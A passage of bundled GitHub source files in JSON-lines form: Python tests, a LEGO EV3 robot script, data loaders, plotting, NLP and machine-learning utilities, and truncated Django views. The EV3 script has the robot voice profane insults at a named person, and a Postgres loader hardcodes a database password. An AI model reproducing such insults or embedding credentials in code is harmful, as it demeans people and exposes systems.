+{"seq_id":"38208488569","text":"from cheme_calculations.units import ThermalConductivity, Temperature, Area, Length\nfrom cheme_calculations.units.heat_transfer import Power\nfrom cheme_calculations.utility.equation_solving import OverSpecifiedProblem, SolutionNotSupported, UnsolvableEquation\nfrom .standard_values import std\nfrom cheme_calculations.heat_transfer import planar_heat\nimport pytest\n\n\ndef test_planar_heat_solving_errors():\n thickness = std.Length\n k = std.ThermalConductivity\n T1 = std.Temperature\n T2 = Temperature(400, \"K\")\n area = Area(1, \"m^2\")\n q = Power(500, \"W\")\n with pytest.raises(OverSpecifiedProblem) as e_info:\n planar_heat(k, T1, T2, area, thickness, q)\n with pytest.raises(UnsolvableEquation) as e_info:\n planar_heat(k, None, T2, area, thickness)\n with pytest.raises(SolutionNotSupported) as e_info:\n planar_heat(None, T1, T2, area, thickness, q)\n \ndef test_heat_exchanger_solving_errors():\n pass\n \n \n \n ","repo_name":"jrenning/ChemE_Calculations","sub_path":"tests/test_equation_solving.py","file_name":"test_equation_solving.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"35499532139","text":"#!/usr/bin/env pybricks-micropython\nfrom pybricks.hubs import EV3Brick\nfrom pybricks.ev3devices import (Motor, TouchSensor, ColorSensor,\n InfraredSensor, UltrasonicSensor, GyroSensor)\nfrom pybricks.parameters import Port, Stop, Direction, Button, Color\nfrom pybricks.tools import wait, StopWatch, DataLog\nfrom pybricks.robotics import DriveBase\nfrom pybricks.media.ev3dev import SoundFile, ImageFile, Image\n\n\n# This program requires LEGO EV3 MicroPython v2.0 or higher.\n# Click \"Open user guide\" on the EV3 extension tab for more information.\n\n\n# Create your objects here.\nev3 = EV3Brick()\n\n\n\n\n\n\n# Write your program here.\n\n# for ii in range(10):\n\n# wait(1000)\nev3.speaker.beep()\n\nwhile True:\n\n pressed_btn = ev3.buttons.pressed()\n print(pressed_btn)\n ev3.screen.print(\"btn: {}\".format(pressed_btn))\n\n if pressed_btn == [Button.UP]:\n ev3.speaker.say(\"Jayden, how are you today?\") \n elif pressed_btn == [Button.DOWN]:\n ev3.speaker.say(\"Fuck you jayden\")\n elif pressed_btn == [Button.LEFT]:\n ev3.speaker.say(\"jayden, you're a piece of shit\")\n elif pressed_btn == [Button.RIGHT]:\n ev3.speaker.say(\"I'M AWESOME\")\n\n wait(10)\n\n# ev3.speaker.set_speech_options(voice='f4')\n\n# ev3.screen.load_image(ImageFile.ANGRY)\n\n\n# for ii in range(20):\n# ev3.light.on(Color.RED)\n\n# wait(500)\n\n# ev3.light.off()\n\n# wait(500)\n\n\n# print(ImageFile('ANGRY'))\n# Image.draw_image(0,0, 'ANGRY')\n\n# img = Image('angry')\n# Image.empty()\n# img.load_image('angry.png')\n# img.draw_image(0,0, 'angry.png')\n\n\n\n\n\n# wait(2000)\n\n# lft_whl = Motor(Port.A)\n# rt_whl = Motor(Port.B)\n# arm = Motor(Port.C)\n\n# whl_dm = 51 # 2 inch\n# axl_tk = 127\n\n\n# # program start here\n# robot = DriveBase(lft_whl, rt_whl, whl_dm, axl_tk)\n\n# robot.straight(25)\n\n# robot.turn(90)\n\n# robot.straight(-25)","repo_name":"brianwvincent/heath_robotics","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"8963166267","text":"import copy\nimport random\n\n\nclass Hat:\n def __init__(self, **balls):\n self.contents = []\n for color, num in balls.items():\n # add balls to contents[] num times\n for i in range(num):\n self.contents.append(color)\n\n \n def draw(self, num_of_balls):\n if num_of_balls > len(self.contents):\n return self.contents\n sample = []\n for draw in range(num_of_balls):\n random_index = random.randint(0, len(self.contents)-1)\n sample.append(self.contents[random_index])\n self.contents.pop(random_index)\n \n return sample\n \n \ndef experiment(hat, expected_balls, num_balls_drawn, num_experiments):\n count = 0 \n for experiment in range(num_experiments):\n # start each experiment with \"fresh\" hat\n hat_copy = copy.deepcopy(hat)\n draw = hat_copy.draw(num_balls_drawn)\n draw_count = {}\n matched_colors = 0\n # count drawn balls and save this in a dictionary\n for ball in draw:\n if ball not in draw_count:\n draw_count[ball] = 0 \n draw_count[ball] += 1\n for color, num in expected_balls.items():\n if color in draw_count:\n if draw_count[color] >= num:\n matched_colors += 1\n # check whether the experiment was successful\n if matched_colors == len(expected_balls):\n count += 1\n return count / num_experiments\n","repo_name":"emilseredin/scientific_computing_with_python","sub_path":"probability_calculator.py","file_name":"probability_calculator.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"42910290975","text":"import numpy as np\n\nfrom pewlib.process import peakfinding\n\n\ndef test_peakfinding_cwt():\n x = np.concatenate((np.zeros(10), np.sin(np.linspace(0.0, 25.0, 100))))\n x[x < 0.0] = 0.0\n x[np.array([35, 55])] += 0.5\n\n peaks = peakfinding.find_peaks_cwt(x, 8, 12, ridge_min_snr=3.3)\n\n assert peaks.size == 4\n assert np.all(peaks[\"width\"] == 20)\n\n\ndef test_peakfinding_windowed():\n x = np.concatenate((np.zeros(10), np.sin(np.linspace(0.0, 25.0, 100))))\n x[x < 0.0] = 0.0\n x[np.array([35, 55])] += 0.5\n\n def constant_threshold(x, axis):\n return 0.1\n\n peaks = peakfinding.find_peaks_windowed(x, 29, np.median, constant_threshold)\n assert peaks.size == 4\n\n\ndef test_peakfinding_peaks_from_edges():\n np.random.seed(83717)\n x = np.random.random(20)\n peaks = peakfinding.peaks_from_edges(x, np.array([5]), [15])\n\n # Test the baseline and height methods\n\n assert peaks.size == 1\n assert peaks[0][\"width\"] == 10\n assert peaks[0][\"height\"] + peaks[0][\"base\"] == np.amax(x[5:15])\n\n peaks = peakfinding.peaks_from_edges(\n x, np.array([5]), [15], baseline=np.ones_like(x), height_method=\"center\"\n )\n assert peaks[0][\"base\"] == 1.0\n assert peaks[0][\"height\"] == x[10] - 1.0\n\n peaks = peakfinding.peaks_from_edges(x, np.array([5]), [15], base_method=\"edge\")\n assert peaks[0][\"base\"] == np.amin((x[5], x[15]))\n\n peaks = peakfinding.peaks_from_edges(x, np.array([5]), [15], base_method=\"minima\")\n assert peaks[0][\"base\"] == np.amin(x[5:15])\n\n peaks = peakfinding.peaks_from_edges(\n x, np.array([5]), [15], base_method=\"prominence\"\n )\n assert peaks[0][\"base\"] == np.amax((x[5], x[15]))\n\n peaks = peakfinding.peaks_from_edges(x, np.array([5]), [15], base_method=\"zero\")\n assert peaks[0][\"base\"] == 0.0\n\n\ndef test_peakfinding_insert_missing():\n peaks = np.array(\n [\n (1.0, 2, 10.0, 0.0, 10, 10, 10, 12),\n (1.0, 2, 10.0, 0.0, 15, 15, 15, 17),\n (1.0, 2, 10.0, 0.0, 20, 20, 20, 22),\n # (1.0, 2, 10.0, 0.0, 25, 25, 25, 27),\n (1.0, 2, 10.0, 0.0, 30, 30, 30, 32),\n (1.0, 2, 10.0, 0.0, 35, 35, 35, 37),\n (1.0, 2, 10.0, 0.0, 40, 40, 40, 42),\n (1.0, 2, 10.0, 0.0, 45, 45, 45, 47),\n # (1.0, 2, 10.0, 0.0, 50, 50, 50, 52),\n (1.0, 2, 10.0, 0.0, 55, 55, 55, 57),\n ],\n dtype=peakfinding.PEAK_DTYPE,\n )\n\n peaks = peakfinding.insert_missing_peaks(peaks)\n assert peaks.size == 10\n\n\ndef test_peakfinding_peak_filtering():\n peaks = np.array(\n [\n (10.0, 10, 100.0, 0.0, 10, 10, 5, 15),\n (10.0, 10, 10.0, 0.0, 10, 10, 15, 25),\n (10.0, 2, 100.0, 0.0, 10, 10, 25, 30),\n (1.0, 10, 100.0, 0.0, 10, 10, 35, 45),\n ],\n dtype=peakfinding.PEAK_DTYPE,\n )\n assert peakfinding.filter_peaks(peaks, min_area=50.0).size == 3\n assert peakfinding.filter_peaks(peaks, min_height=5.0).size == 3\n assert peakfinding.filter_peaks(peaks, min_width=5).size == 3\n","repo_name":"djdt/pewlib","sub_path":"tests/test_peakfinding.py","file_name":"test_peakfinding.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"0"}
+{"seq_id":"33208440313","text":"import psycopg2\nimport csv\n\n\nconn = psycopg2.connect(\"host=localhost dbname=postgres user=postgres password=superduper\")\n\ncur = conn.cursor()\ncur.execute(\"\"\"\n CREATE TABLE organizations(\n id integer PRIMARY KEY,\n name text,\n city text,\n state text,\n postal text,\n category text)\n\"\"\")\n\nwith open('organization_sample_data.csv', 'r', encoding='utf-8') as f:\n reader = csv.reader(f)\n next(reader) # Skip the header row.\n for row in reader:\n cur.execute(\n \"INSERT INTO organizations VALUES (%s, %s, %s, %s, %s, %s)\",\n row\n )\nconn.commit()","repo_name":"wolfmanjake/ttproblem","sub_path":"loaddata.py","file_name":"loaddata.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"3263026671","text":"import setuptools\r\n\r\nwith open(\"README.md\", \"r\") as fh:\r\n long_description = fh.read()\r\n\r\nsetuptools.setup(\r\n name=\"BibliotecaAnalitcaAlfa\",\r\n version=\"0.2.0\",\r\n author=\"martarto\",\r\n author_email=\"mearrieta@sura.com.co\",\r\n description=\"Contiene funciones para etl datalake y datawarehouse\",\r\n long_description=long_description,\r\n long_description_content_type=\"text/markdown\",\r\n url=\"https://github.com/martineliasarrieta/BibliotecaAnalitica_v2_alfa.git\",\r\n packages=setuptools.find_packages(),\r\n classifiers=[\r\n \"Programming Language :: Python :: 3\",\r\n \"License :: OSI Approved :: MIT License\",\r\n \"Operating System :: OS Independent\",\r\n ],\r\n python_requires='>=3.6',\r\n)","repo_name":"martineliasarrieta/BibliotecaAnaliticaPythonV2","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"39304012416","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport mpl_toolkits.mplot3d as a3\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib.patches import Polygon\n\n\ndef euler_angles_to_rotation_matrix(angles): #i/p as np.array([z,x,y]) \n z, x, y = angles\n\n # Rotation matrix for yaw (z)\n Rz = np.array([\n [np.cos(z), -np.sin(z), 0],\n [np.sin(z), np.cos(z), 0],\n [0, 0, 1]\n ])\n\n # Rotation matrix for roll (x)\n Rx = np.array([\n [1, 0, 0],\n [0, np.cos(x), -np.sin(x)],\n [0, np.sin(x), np.cos(x)]\n ])\n\n # Rotation matrix for pitch (y)\n Ry = np.array([\n [np.cos(y), 0, np.sin(y)],\n [0, 1, 0],\n [-np.sin(y), 0, np.cos(y)]\n ])\n\n # Combine the rotations\n R = np.dot(Rx, np.dot(Ry, Rz))\n\n return R\n\n\n\ndef rotplot(R, currentAxes=None):\n # This is a simple function to plot the orientation\n # of a 3x3 rotation matrix R in 3-D\n # You should modify it as you wish for the project.\n\n lx = 3.0\n ly = 1.5\n lz = 1.0\n\n x = .5 * np.array([[+lx, -lx, +lx, -lx, +lx, -lx, +lx, -lx],\n [+ly, +ly, -ly, -ly, +ly, +ly, -ly, -ly],\n [+lz, +lz, +lz, +lz, -lz, -lz, -lz, -lz]])\n\n xp = np.dot(R, x);\n ifront = np.array([0, 2, 6, 4, 0])\n iback = np.array([1, 3, 7, 5, 1])\n itop = np.array([0, 1, 3, 2, 0])\n ibottom = np.array([4, 5, 7, 6, 4])\n\n if currentAxes:\n ax = currentAxes;\n else:\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n\n ax.plot(xp[0, itop], xp[1, itop], xp[2, itop], 'k-')\n ax.plot(xp[0, ibottom], xp[1, ibottom], xp[2, ibottom], 'k-')\n\n rectangleFront = a3.art3d.Poly3DCollection([list(zip(xp[0, ifront], xp[1, ifront], xp[2, ifront]))])\n rectangleFront.set_facecolor('r')\n ax.add_collection(rectangleFront)\n\n rectangleBack = a3.art3d.Poly3DCollection([list(zip(xp[0, iback], xp[1, iback], xp[2, iback]))])\n rectangleBack.set_facecolor('b')\n ax.add_collection(rectangleBack)\n\n ax.set_aspect('equal')\n ax.set_xlim3d(-2, 2)\n ax.set_ylim3d(-2, 2)\n ax.set_zlim3d(-2, 2)\n\n return ax\n\n\n\n# Example usage: Putting two rotations on one graph.\n# Call the function below from another Python file.\n\"\"\"\nfrom rotplot import rotplot\nREye = np.eye(3)\nmyAxis = rotplot(REye)\nRTurn = np.array([[np.cos(np.pi / 2), 0, np.sin(np.pi / 2)], [0, 1, 0], [-np.sin(np.pi / 2), 0, np.cos(np.pi / 2)]])\nrotplot(RTurn, myAxis)\nplt.show()\n\"\"\"\n\ndef plotRots(vicon_data, imu_data): # both i/ps are a list of numpy arrays of z-x-y euler angles \n rows, cols = vicon_data.shape\n for i in range(rows):\n rotplot(euler_angles_to_rotation_matrix(vicon_data[i, :]))\n rotplot(euler_angles_to_rotation_matrix(imu_data[i, :]))\n plt.show()\n\n\n","repo_name":"ankx22/Unscented-Kalman-Filter","sub_path":"Phase 1/rotplot.py","file_name":"rotplot.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"39661136917","text":"#!/usr/bin/env python\nimport sys, os, argparse, json\n\n# add packages\ntry:\n import bottle\nexcept:\n sys.path.append(os.path.join(os.path.dirname(__file__), \"../packages\"))\n import bottle\n\n\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../\"))\nfrom lackey import get_app\n\n\nif __name__ == \"__main__\":\n \n parser = argparse.ArgumentParser(description=\"platform management\")\n parser.add_argument('-p', '--port', help=\"port\", required=False, default=8000)\n parser.add_argument('-g', '--debug', help=\"enables debugging (boolean switch to trueI)\", action='store_true', required=False, default=False)\n parser.add_argument('-i', '--init', help=\"initialize application (removes everything)\", action='store_true', required=False, default=False)\n \n args = parser.parse_args()\n \n \n config = json.load(open('./config/lackey.json', 'r'))\n \n if args.init:\n if os.path.isfile(config['database']['uri'] % {'app': \".\"}):\n os.remove(config['database']['uri'] % {'app': \".\"})\n \n if not os.path.isfile(config['database']['uri'] % {'app': \".\"}):\n from lackey.database import DatabaseManagement\n from lackey.orm import Base\n \n database = DatabaseManagement(\"%(dialect)s://%(uri)s\" % {'dialect' : config['database']['dialect'], 'uri' : config['database']['uri'] % {'app': \"\"}})\n database.create(Base)\n \n \n \n bottle.debug(args.debug)\n bottle.run(app=get_app(), host='localhost', port=args.port, quiet=False, reloader=True)\n\n\n","repo_name":"iocast/lackey","sub_path":"scripts/lackey_standalone.py","file_name":"lackey_standalone.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"34139831115","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport torch\nfrom torch import Tensor\nfrom torch.nn.modules.loss import _Loss\n\n\nclass ImbalancedLoss(_Loss):\n def __init__(self, size_average=None, reduce=None,\n reduction: str = 'mean', mode: str = 'geo',\n eps = 1e-7):\n super(ImbalancedLoss, self).__init__(size_average, reduce, reduction)\n self.mode = mode\n self.eps = eps\n\n def forward(self, input: Tensor, target: Tensor) -> Tensor:\n # making target into batch x 1 x 2\n new_target = torch.ones_like(input, device=input.device)\n new_target[:, 1] = target\n new_target[:, 0] = new_target[:, 0] - target\n\n get_metric = lambda score_type: self._get_score(input, new_target, score_type)\n\n fp = get_metric('fp')\n fn = get_metric('fn')\n tp = get_metric('tp')\n tn = get_metric('tn')\n\n prec = tp / (fp + tp + self.eps)\n rec = tp / (tp + fn + self.eps)\n return -1 * (rec * prec)\n\n def _get_score(self, input: Tensor, target: Tensor, score_type: str) -> Tensor:\n assert score_type in ['fp', 'fn', 'tn', 'tp']\n if score_type == 'tp':\n input_row = input[:, 1]\n target_row = target[:, 1]\n elif score_type == 'fp':\n input_row = input[:, 1]\n target_row = target[:, 0]\n elif score_type == 'tn':\n input_row = input[:, 0]\n target_row = target[:, 0]\n elif score_type == 'fn':\n input_row = input[:, 0]\n target_row = target[:, 1]\n\n if self.mode == 'geo':\n num = torch.matmul(input_row, target_row)\n denom = (torch.linalg.norm(input_row) * torch.linalg.norm(target_row)) + self.eps\n\n elif self.mode == 'info':\n num = -1 * torch.matmul(torch.log(input_row), target_row)\n denom = torch.linalg.vector_norm(torch.linalg.norm(target_row)) + self.eps\n return num / denom\n\n\n\n\n","repo_name":"patrickpynadath/cancer_detection","sub_path":"models/imbalanced_loss_fn.py","file_name":"imbalanced_loss_fn.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"26666467739","text":"from __future__ import absolute_import\nfrom __future__ import print_function\n\nfrom nltk.tokenize import regexp_tokenize\nfrom pattern.en import verbs as vb\nfrom collections import defaultdict as dd\nfrom tools.chunker import parse_tree\nfrom string import punctuation\n\nimport config\n\n\nSWT_QUESTION_PENALTY = .2\n\npunc = set(punctuation)\n\nquestion_words = set(\n \"what where when who how why which whose \"\n \"what's where's when's who's how's\".split())\n\npronouns = set(\n \"i me you he him she her it we they them \" # us = United States\n \"this those these \"\n \"myself yourself himself herself itself ourselves themselves yourselves \"\n \"my your her his its their our \"\n \"mine yours hers ours theirs \"\n \"i'm you're he's she's it's we're they're\".split())\n\nquestion_words_single = set(\"what where when who how why which whose\".split())\n\naux_vbs = {'do', 'have', 'be'}\n\nswt_starts = {\"what is\", \"what 's\", \"what was\", \"what are\", \"what were\",\n \"who is\", \"who 's\", \"who was\", \"who are\", \"who were\"}\n\n\n# Split on whitespaces (excluding) and non-alphanumeric chars (including).\ndef tokenize(s):\n if type(s) is not unicode:\n s = s.decode('utf8')\n return regexp_tokenize(s, pattern='[^\\W_]+|\\S')\n\n\ndef tokenize_article(s):\n if not isinstance(s, unicode):\n s = unicode(s, 'utf8')\n r = []\n s = s.strip()\n for a in s:\n if a in punc:\n pass\n else:\n r.append(a)\n return ''.join(r).split()\n\n\ndef lower_list(xs):\n return [x.lower() for x in xs]\n\n\ndef unique_pars(pars, limit, fn=max):\n assert type(limit) is int\n res = dd(lambda: [])\n for s, p, t in pars:\n res[(p, t)].append(s)\n all_pars = [[fn(v), k[0], k[1]] for (k, v) in res.items()]\n return sorted(all_pars, reverse=True)[:limit]\n\n\ndef add_questionmark(q_tokens):\n if q_tokens[-1] not in '!?.':\n q_tokens = q_tokens + ['?']\n return q_tokens\n\n\ndef get_noun_phrases(tree):\n for subtree in tree.subtrees(filter=lambda t: t.label() == 'NP'):\n yield subtree.leaves()\n\n\ndef parse_question(utt_tags):\n if not utt_tags:\n return 0\n utt_tags = [(w.lower(), t) for (w, t) in utt_tags]\n qws = [i for i in range(len(utt_tags)) if utt_tags[i][0] in question_words]\n if not qws:\n return 0\n qw_idx = min(qws)\n prons = [i for i in range(qw_idx + 1, len(utt_tags))\n if utt_tags[i][0] in pronouns]\n if prons:\n return 0\n verbs = [i for i in range(qw_idx + 1, len(utt_tags))\n if utt_tags[i][1].startswith('VB')]\n if not verbs:\n return 0\n return 1\n\n\ndef rephrase_question(q_tagged, debug=False):\n score_mod = 1.\n\n q_tokens = [t[0] for t in q_tagged]\n if q_tagged and q_tagged[0][1] == config.unknown_tag:\n return q_tokens, score_mod\n\n qws = [i for i in range(len(q_tokens)) if q_tokens[\n i].lower() in question_words_single]\n\n if not qws:\n if q_tokens[-1] in '!?.':\n q_tokens = q_tokens[:-1]\n return q_tokens, score_mod\n\n qw = min(qws)\n if q_tokens[-1] not in '!?.':\n q_tokens = q_tokens + ['?']\n q_tagged.append((u'?', u'.'))\n\n query_beg, query = q_tokens[\n :qw + 1], q_tokens[qw + 1:]\n\n pos = q_tagged[qw + 1:]\n\n verbs = [i for i in range(len(query)) if pos[i][1][:2] in ['VB', 'MD']]\n if not verbs:\n return query_beg + query[:-1], score_mod\n verb_idx = min(verbs)\n\n nouns = [i for i in range(verb_idx+1, len(query))\n if pos[i][1].startswith('NN')]\n if not nouns:\n return query_beg + query[:-1], score_mod\n\n tree = parse_tree(pos[verb_idx:])\n noun_phrase = list(zip(*get_noun_phrases(tree).next())[0])\n\n verb_insert_idx = min(i for i in range(len(query)) if query[\n i:i+len(noun_phrase)] == noun_phrase)\n verb_insert_idx += len(noun_phrase)\n\n verb = query[verb_idx]\n\n if pos[verb_idx][1] != 'MD' and vb.conjugate(verb) not in aux_vbs:\n return query_beg + query[:-1], score_mod\n\n if verb == 'do':\n query_new = query[:verb_idx] + query[verb_idx+1:-1]\n elif verb in ['does', 'did']:\n verb_to_correct_idx = min(\n [i for i in verbs if i >= verb_insert_idx] or [None])\n if verb_to_correct_idx is None:\n query_new = query[:-1]\n else:\n v = query[verb_to_correct_idx]\n corrected = vb.conjugate(\n v, '3sg') if verb == 'does' else vb.conjugate(v, 'ppl')\n query_new = query[:verb_idx] + \\\n query[verb_idx+1:verb_to_correct_idx] + \\\n [corrected] + query[verb_to_correct_idx+1:-1]\n else:\n query_new = query[:verb_idx] + \\\n query[verb_idx+1:verb_insert_idx] + \\\n [verb] + query[verb_insert_idx:-1]\n\n if debug:\n print(q_tokens, qw, verb_insert_idx, query)\n\n # penalty for questions better suited for SimpleWikiTalker\n if ' '.join(q_tokens[qw:qw+2]).lower() in swt_starts and \\\n verb_insert_idx == len(query) - 1:\n print(\"SQUAD: penalizing swt start\")\n score_mod = SWT_QUESTION_PENALTY\n\n return query_beg + query_new, score_mod\n","repo_name":"DeepPavlovAdmin/convai","sub_path":"2017/solutions/poetwanna.be/chatbot/talker/squad_talker/squad_utils.py","file_name":"squad_utils.py","file_ext":"py","file_size_in_byte":5147,"program_lang":"python","lang":"en","doc_type":"code","stars":391,"dataset":"github-code","pt":"0"}
+{"seq_id":"26584584316","text":"import numpy as np\nimport openslide as ops\nfrom openslide import deepzoom\nfrom PIL import Image, ImageDraw, ImageColor\nfrom openslide import deepzoom\nimport cv2\nfrom Parse_Xml import Parse_Xml\n\nclass Adaptive_MPP():\n def __init__(self, xmlPath, svsPath, color, patch_size, mag):\n self.pxml = Parse_Xml(xmlPath,svsPath)\n self.xmlPath = xmlPath\n self.svsPath = svsPath\n self.color = color\n self.patch_size = patch_size\n self.dict_mag_level = self.buildDictionary()\n print(self.dict_mag_level)\n self.mag = mag\n assert (float(self.mag) in self.dict_mag_level), 'Please Choose Valid Magnification'\n self.roi = self.extract_roi()\n\n\n def extract_roi(self):\n # get useful information\n start_col,start_row,end_col,end_row = self.find_tile_in_dz()\n slide = ops.open_slide(self.svsPath)\n dz = deepzoom.DeepZoomGenerator(slide,tile_size=self.patch_size,overlap=0, limit_bounds=True)\n level = self.dict_mag_level[self.mag]\n print(\"level: \", level)\n #initialize empty array the size of the ROI we need\n w = (end_col - start_col) * self.patch_size\n h = (end_row - start_row) * self.patch_size\n io = np.zeros((h,w,3),dtype='uint8')\n\n # not sure if it should by y,x or x,y but either all of the rows and columns needs to be flipped\n for i in range(start_col,end_col):\n for j in range(start_row,end_row):\n patch = dz.get_tile(level, (i, j))\n x_start = (i - start_col)*self.patch_size\n x_end = x_start + self.patch_size\n y_start = (j - start_row)*self.patch_size\n y_end = y_start+self.patch_size\n io[y_start:y_end , x_start:x_end , :] = patch\n \n return io\n\n def find_tile_in_dz(self):\n # get useful information\n (min_x, min_y, max_x, max_y) = self.get_bounding_box_around_mask(self.color)\n print(min_x, min_y, max_x, max_y)\n # get the start tile and end tile information\n start_col = np.divmod(min_x,self.patch_size)[0]\n start_row = np.divmod(min_y,self.patch_size)[0]\n end_col = np.divmod(max_x,self.patch_size)[0]+1\n end_row = np.divmod(max_y,self.patch_size)[0]+1\n\n print(start_col,start_row,end_col,end_row)\n return (start_col,start_row,end_col,end_row)\n\n\n def get_slide_tile_information(self):\n slide = ops.open_slide(self.svsPath)\n dz = deepzoom.DeepZoomGenerator(slide,tile_size=self.patch_size,overlap=0, limit_bounds=True)\n level = self.dict_mag_level[mag]\n w,h = dz.level_dimensions[level]\n n,m = dz.level_tiles[level]\n return (n,m,w,h)\n\n def buildDictionary(self):\n slide = ops.open_slide(self.svsPath)\n dz = deepzoom.DeepZoomGenerator(slide,tile_size=self.patch_size,overlap=0, limit_bounds=True)\n levels = dz.level_count\n max_mag = int(slide.properties['openslide.objective-power'])\n counter = 1\n dict_level_mag_correspondence = {}\n for i in reversed(range(0,levels)):\n dict_level_mag_correspondence[max_mag/counter] = i\n counter = counter*2\n return dict_level_mag_correspondence\n\n def get_bounding_box_around_mask(self,color):\n # if so, then determine how much to resize things by for the bounding box\n slide = ops.open_slide(self.svsPath)\n dz = deepzoom.DeepZoomGenerator(slide,tile_size=self.patch_size,overlap=0, limit_bounds=True)\n max_mag = int(slide.properties['openslide.objective-power'])\n resize_factor = float(self.mag/max_mag)\n\n # determine the original bounding box from the annotation\n regions = self.pxml.get_all_regions(color)\n all_x = np.array([])\n all_y = np.array([])\n for idx,each_region in enumerate(regions):\n for each_vertex in each_region.find_all('vertex'):\n all_x = np.append(all_x,int(float(each_vertex.get('x'))))\n all_y = np.append(all_y,int(float(each_vertex.get('y'))))\n\n all_x = all_x * resize_factor\n all_y = all_y * resize_factor\n # apply resize factor\n min_x = int(np.min(all_x))\n max_x = int(np.max(all_x))\n min_y = int(np.min(all_y))\n max_y = int(np.max(all_y))\n\n return (min_x, min_y, max_x, max_y)\n\napp = Adaptive_MPP(\"examples/36724.xml\",\"examples/36724.svs\",16776960,256, 20)\nroi = app.roi\nnew_im = Image.fromarray(roi)\nnew_im.show()","repo_name":"sapchan/Slide_Visualization_Jupyter","sub_path":"adaptive_MPP.py","file_name":"adaptive_MPP.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"40384399899","text":"def solution(genres, plays):\n answer = []\n d = dict()\n reverse_d = dict()\n dict_genres = dict()\n for i in range(len(genres)):\n if d.get(genres[i]):\n d[genres[i]]+= plays[i]\n dict_genres[genres[i]].append((i, plays[i]))\n else:\n d[genres[i]] = plays[i]\n dict_genres[genres[i]] = []\n dict_genres[genres[i]].append((i, plays[i]))\n\n \n for key in dict_genres.keys():\n dict_genres[key].sort(key = lambda x:x[1], reverse=True)\n print(dict_genres)\n for key in d.keys():\n reverse_d[d[key]] = key\n \n v = list(d.values())\n v.sort(reverse = True)\n for i in v:\n genre = reverse_d[i]\n target = dict_genres[genre]\n \n if len(target) >=2:\n for i in target[:2]:\n answer.append(i[0])\n else:\n for i in target:\n answer.append(i[0])\n \n return answer","repo_name":"jungchanSon/Algorithm","sub_path":"프로그래머스/lv3/42579. 베스트앨범/베스트앨범.py","file_name":"베스트앨범.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"32117029133","text":"'''\nProblem statement:\nGiven an array where elements are sorted in ascending order, convert it to a height balanced BST.\n\nTest cases passed: 32/32\nRuntime: 112 ms\n'''\n\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def sortedArrayToBST(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: TreeNode\n \"\"\"\n if not nums:\n return None\n \n\t\t#base case, if array length is 1 or less, just return a TreeNode from the single element in the array\n if len(nums) <= 1:\n return TreeNode(nums[0])\n \n mid = len(nums)//2 #get the midpoint\n \n root = TreeNode(nums[mid]) #make new TreeNode fromt the midpoint element\n\t\t\n\t\t#recursively set the left and right subtrees of the root TreeNode with the left half and right half of the array respectively\n root.left = self.sortedArrayToBST(nums[:mid])\n root.right = self.sortedArrayToBST(nums[mid+1:])\n \n return root","repo_name":"p-swantek/LeetCode","sub_path":"ConvertSortedArrayToBinarySearchTree.py","file_name":"ConvertSortedArrayToBinarySearchTree.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"41352660102","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\n\nfrom rest_framework import viewsets\n\nfrom .models import *\nfrom .serializers import *\nfrom .forms import CreateUserForm, MemberForm\nfrom django.shortcuts import render\n\n\ndef registerUser(request):\n form = CreateUserForm()\n if request.method == 'POST':\n form = CreateUserForm(request.POST)\n if form.is_valid():\n user = form.save()\n username = form.cleaned_data.get('username')\n\n # создаем объект модели участника чата\n Member.objects.create(\n user=user,\n name=user.username,\n )\n\n messages.success(request, 'Был создан аккаунт ' + username)\n\n return redirect('login')\n\n context = {'form': form}\n return render(request, 'signup.html', context)\n\n\ndef loginUser(request):\n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n\n user = authenticate(request, username=username, password=password)\n\n if user is not None:\n login(request, user)\n return redirect('main')\n else:\n messages.info(request, 'Логин или пароль неверны')\n\n context = {}\n return render(request, 'login.html', context)\n\n\ndef logoutUser(request):\n logout(request)\n return redirect('login')\n\n\n@login_required(login_url='/account/login/')\ndef personalSettings(request):\n member = request.user.member\n form = MemberForm(instance=member)\n\n if request.method == 'POST':\n form = MemberForm(request.POST, request.FILES, instance=member)\n if form.is_valid():\n form.save()\n\n context = {'form': form}\n return render(request, 'profile.html', context)\n\n\nclass MemberViewset(viewsets.ModelViewSet):\n queryset = 